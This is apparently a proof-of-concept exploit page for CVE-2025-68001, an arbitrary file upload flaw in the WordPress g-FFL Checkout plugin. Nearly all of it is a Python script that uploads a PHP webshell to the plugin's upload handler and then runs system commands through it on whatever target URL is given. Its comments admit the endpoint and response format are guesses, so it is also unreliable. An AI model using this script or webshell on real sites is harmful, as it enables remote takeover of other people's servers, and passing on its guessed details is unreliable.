CVE-2025-68001: WordPress g-ffl-checkout插件任意文件上传漏洞

import requests import sys # CVE-2025-68001 PoC - Arbitrary File Upload in g-ffl-checkout plugin # Target: WordPress site with g-FFL Checkout plugin <= 2.1.0 def exploit_upload(target_url, webshell_content): """ Exploit the arbitrary file upload vulnerability Args: target_url: Base URL of the WordPress site webshell_content: PHP code to upload as webshell Returns: Uploaded file path if successful, None otherwise """ # The vulnerable endpoint is typically: # /wp-content/plugins/g-ffl-checkout/includes/upload-handler.php upload_url = f"{target_url}/wp-content/plugins/g-ffl-checkout/includes/upload-handler.php" # Prepare the malicious file upload request files = { 'file': ('shell.php', webshell_content, 'application/x-php') } data = { 'action': 'gffl_upload', 'filename': 'shell.php' } try: # Send the malicious upload request response = requests.post(upload_url, files=files, data=data, timeout=30) if response.status_code == 200: # Parse response to get uploaded file path # Adjust based on actual response format uploaded_path = response.json().get('file_path', '') return uploaded_path else: print(f"[-] Upload failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return None def execute_command(target_url, shell_path, command): """ Execute system command via uploaded webshell Args: target_url: Full URL to the uploaded webshell command: System command to execute Returns: Command output """ params = {'cmd': command} try: response = requests.get(target_url, params=params, timeout=30) return response.text except requests.exceptions.RequestException as e: return f"[-] Request failed: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68001_poc.py <target_url>") print("Example: python cve-2025-68001_poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') # PHP webshell content webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" print("[*] CVE-2025-68001 Exploit - g-ffl-checkout Arbitrary File Upload") print(f"[*] Target: {target}") # Step 1: Upload the webshell print("[*] Uploading webshell...") shell_path = exploit_upload(target, webshell) if shell_path: print(f"[+] Webshell uploaded successfully!") print(f"[+] Shell path: {shell_path}") # Step 2: Execute test command shell_url = f"{target}/{shell_path}" print("[*] Executing test command: whoami") result = execute_command(shell_url, shell_path, 'whoami') print(f"[+] Result: {result}") else: print("[-] Exploitation failed. Target may not be vulnerable.")